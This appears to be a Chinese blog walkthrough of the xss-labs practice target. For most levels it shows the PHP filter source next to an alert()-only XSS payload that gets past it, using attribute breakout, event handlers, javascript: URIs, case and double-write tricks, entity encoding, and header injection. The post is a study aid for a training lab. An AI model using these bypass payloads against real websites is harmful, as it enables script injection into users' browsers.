xss-labs靶机练习

## leve-1
  • 无任何过滤,get 型,直接<script>alert(1)</script>

2.#

  • 方法一:闭合 input 标签里面的"><script>alert(1)</script>

  • 方法二:闭合 value 属性,在 input 标签中添加新的属性" onclick="alert(11)

3.HTML 实体化过滤#

  • htmlspecialchars 函数可以过滤<``>``",但是不会过滤单引号,而且 value 的闭合也是采用单引号,所以会有 xss 漏洞

  • 部分源码

<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
<input name=keyword value='".htmlspecialchars($str)."'>

4.<和>防御机制#

  • 先试探防御机制,发现 value 值中把“<”过滤了,所以采用事件注入 " onclick="alert(11)成功弹框

5.ri 和 on 防御机制#

  • ri 替换为 r_i,on 替换为 o_n

  • 过滤了" onclick="alert(11)``"><script>alert(1)</script>``"><img src=1 onerror=alert(1)

  • 可以使用新标签"><a href="javascript:alert(1)"

6.ri 和 on,href 防御机制#

  • ri 替换为 r_i,on 替换为 o_n,href 替换成 hr_ef,但是这道题没有过滤大小写。所以

  • "><a HREF="javascript:alert(1)"

7.script,on 等关键字替换为空#

  • 双写绕过

  • " oonnclick="alert(11)

8.过滤较全,使用 html 实体编码#

  • 这道题过滤有点对,查看源码

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);#大小写过滤
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'"> #还有html编码
  • 方法一:html 实体编码:java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

  • 方法二:fromCharCode()函数:String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62)

9.#

  • 通过试探,这一关与上一关不同的是会在上一关的基础上,加入地址的检查,首先判断会检查哪些内容,这一关会检查输入的数据中是否会有 http://字段,所以需要在输入的字段中加入该字段

f(false===strpos($str7,'http://'))
{
 echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
      }
else
{
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

payload:java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

10.hidden 属性值---隐藏无法触发事件#

  • 这一没有输入的地方,需要在 url 地址栏中输入,这一时输入是隐藏的,也就是说 keyname 并不是要注入的地方,真正注入的地方是三个 input,不过这三个被隐藏了,所以需要去试探这三个哪个是正确的,只有 t_sort 是正确的

  • 这里的属性值是可以被替代的,通过再次type="text"来重新设置属性值,然后添加事件,即可触发弹框

  • payload:t_sort="2 type="text" onclick="alert(1)

  • 利用 html 的 accesskey 属性 t_sort=2" accesskey="x" onclick="alert(1)" type="text"

11.referer 注入#

  • 源码,,(不看源码的话。。。没了呀)

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">

可以看到,这里对 referer 参数替换了<>,没有了其他过滤,对于 t_sort 进行了 HTML 实体化,而且是双引号闭合,所以不会有注入。 referer 的 payload:在 hackbar 中传 referer 参数t_ref=2" onclick="alert(1)" type="text

12.User-agent 的 xss 注入#

  • 和 11 题的原理一样

13.cookie 的 xss 注入#

  • 和上述差不多

14.这道题有问题#

15.ng-include#

  • 源码

<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

可以看到的是,变量名是“src”,这也没有提示,确实猜不到 通过试探,发现所有的输入都会被注视到 ngInclude: 1 之后,所以先了解一下 ngInclude 它的作用 ng-include 指令用于包含外部的 HTML 文件。 包含的内容将作为指定元素的子节点。 ng-include 属性的值可以是一个表达式,返回一个文件名。 默认情况下,包含的文件需要包含在同一个域名下。 也就是说它的参数是一个 html 页面 发现在该页面会加载 level1 的页面,我们在 15 页面里面是没有注入点,但是在 1 页面里面有,尝试在 1 里面注入 src='level1.php?name=1<script>alert(1)</script>' 并没有被执行,因为通过 htmlspecialchars($str)函数,有些特殊字符被转码了,转为了 html 实体,所以我们采用其他标签的事件属性触发 src='level1.php?name=<img src=1 onerror=alert(1)>'

16.#

  • 直接在前端页面中修改 img 标签即可。。

  • 源码只是过滤了部分字符,payload<img%0asrc=1%0aonerror=alert(1)>

17-18-19-20--#

  • 四道题都一类题,涉及 flash-xss,swf后缀文件--动画软件 Flash 的专用格式,广泛应用于网页设计和动画制作 部分源码如下

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

embed 的语法格式:<embed 属性 1=“属性值 1” 属性 2=“属性值 2”……> payload:?arg01=a" onmouseover=alert(1)&arg02=b但是没反应,不懂了。。。

posted @   kzd的前沿思考  阅读(59)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示
主题色彩